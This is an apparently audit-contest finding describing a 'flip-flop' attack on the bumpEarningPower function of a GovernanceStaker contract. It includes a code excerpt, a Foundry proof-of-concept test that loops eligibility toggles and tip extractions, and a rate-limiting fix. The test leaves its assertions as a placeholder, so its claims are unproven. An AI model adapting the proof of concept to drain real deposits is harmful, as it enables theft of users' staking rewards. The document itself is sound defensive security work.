Skip to content

Latest commit

 

History

History
120 lines (85 loc) · 5.56 KB

043.md

File metadata and controls

120 lines (85 loc) · 5.56 KB

Magic Eggshell Stallion

Medium

bumpEarningPower Flip-Flop Attack to Drain Unclaimed Rewards

Summary

https://github.com/withtally/staker/blob/90802966475239c3eb8aafc3dbf18edd5a0b6b1b/src/GovernanceStaker.sol#L471-L514 The bumpEarningPower function within the GovernanceStaker contract is susceptible to a Flip-Flop Attack that can be exploited to drain unclaimed rewards from user deposits. This vulnerability arises when an attacker manipulates the eligibility status of a deposit's delegatee, causing the deposit's earningPower to oscillate between eligible and ineligible states. Each transition that qualifies for a bump allows the attacker to extract a predefined tip (_requestedTip) from the deposit's unclaimed rewards.

While each individual extraction may be small, the cumulative effect of repeated exploit attempts can lead to significant drainage of a user's unclaimed rewards. This undermines the protocol's fairness and reliability, potentially eroding user trust and financial security within the staking ecosystem. Given that the unclaimed rewards are integral to the staking incentives, this vulnerability poses a medium-level risk that necessitates prompt mitigation to preserve the protocol's integrity and user confidence.

The vulnerability stems from the bumpEarningPower function's ability to allow external actors to repeatedly extract tips from a deposit's unclaimed rewards whenever the deposit's earningPower transitions between eligible and ineligible states. This "flip-flop" behavior can be exploited to drain accumulated rewards over multiple cycles.

Code Snippet

function bumpEarningPower(
    DepositIdentifier _depositId,
    address _tipReceiver,
    uint256 _requestedTip
) external virtual {
    // ... [other logic]

    (uint256 _newEarningPower, bool _isQualifiedForBump) =
        earningPowerCalculator.getNewEarningPower(
            deposit.balance,
            deposit.owner,
            deposit.delegatee,
            deposit.earningPower
        );

    // ... [additional checks]

    // Subtract _requestedTip from deposit's unclaimed rewards
    deposit.scaledUnclaimedRewardCheckpoint -= (_requestedTip * SCALE_FACTOR);

    // ... [transfer the tip to the bumper]
}

Explanation:

  1. Earning Power Calculation: The function retrieves the new earning power and determines if the bump qualifies (_isQualifiedForBump) based on the delegatee's current eligibility score.

  2. Tip Extraction: If qualified, the function subtracts the _requestedTip from the deposit's scaledUnclaimedRewardCheckpoint, effectively siphoning a portion of the user's unclaimed rewards.

  3. Potential for Repeated Exploitation: By toggling the delegatee's eligibility status, an attacker can repeatedly trigger qualifying conditions, each time extracting a tip from the unclaimed rewards.

Test Code Snippet

function testFlipFlopAttack() public {
    // Simulate passage of time to accumulate rewards
    skip(10 days); 

    // Toggle delegatee score below threshold to make deposit ineligible
    vm.startPrank(admin);
    calculator.updateDelegateeScore(address(222), 49); // Below eligibility threshold
    vm.stopPrank();

    // Malicious bumper calls bumpEarningPower to extract a tip
    vm.startPrank(maliciousBumper);
    uint256 requestedTip = 3e18;
    staker.bumpEarningPower(depositId, maliciousBumper, requestedTip);
    vm.stopPrank();

    // Toggle delegatee score above threshold to make deposit eligible again
    vm.startPrank(admin);
    calculator.updateDelegateeScore(address(222), 51); // Above eligibility threshold
    vm.stopPrank();

    // Malicious bumper calls bumpEarningPower again to extract another tip
    vm.startPrank(maliciousBumper);
    staker.bumpEarningPower(depositId, maliciousBumper, requestedTip);
    vm.stopPrank();

    // Repeat the toggle and extraction multiple times
    for (uint i = 0; i < 3; i++) {
        vm.prank(admin);
        calculator.updateDelegateeScore(address(222), 49); // Ineligible
        vm.prank(maliciousBumper);
        staker.bumpEarningPower(depositId, maliciousBumper, requestedTip);

        vm.prank(admin);
        calculator.updateDelegateeScore(address(222), 51); // Eligible
        vm.prank(maliciousBumper);
        staker.bumpEarningPower(depositId, maliciousBumper, requestedTip);
    }

    // Assert that the unclaimed rewards have been drained appropriately
    // [Assertions would go here]
}

Explanation:

  1. Reward Accumulation: The test advances the blockchain time to allow the deposit to accrue rewards.

  2. Delegatee Score Manipulation: The admin toggles the delegatee's score below and above the eligibility threshold, making the deposit ineligible and then eligible.

  3. Tip Extraction by Bumper: Each time the deposit becomes eligible, the malicious bumper calls bumpEarningPower to extract a tip from the unclaimed rewards.

  4. Repetition of the Process: By looping the toggle and extraction process, the attacker can repeatedly drain the deposit's unclaimed rewards.


Tools Used

  • Manual Review
  • Foundry

Recommendations

To mitigate the identified vulnerability and strengthen the protocol's security, the following measures are recommended:

  1. Rate-Limiting Bumps:
    • Implementation: Introduce a restriction that limits the frequency at which bumpEarningPower can be called for a specific deposit. For instance, allow only one bump per defined time window (e.g., once every 24 hours).
    • Benefit: Prevents attackers from rapidly extracting tips through frequent state toggling.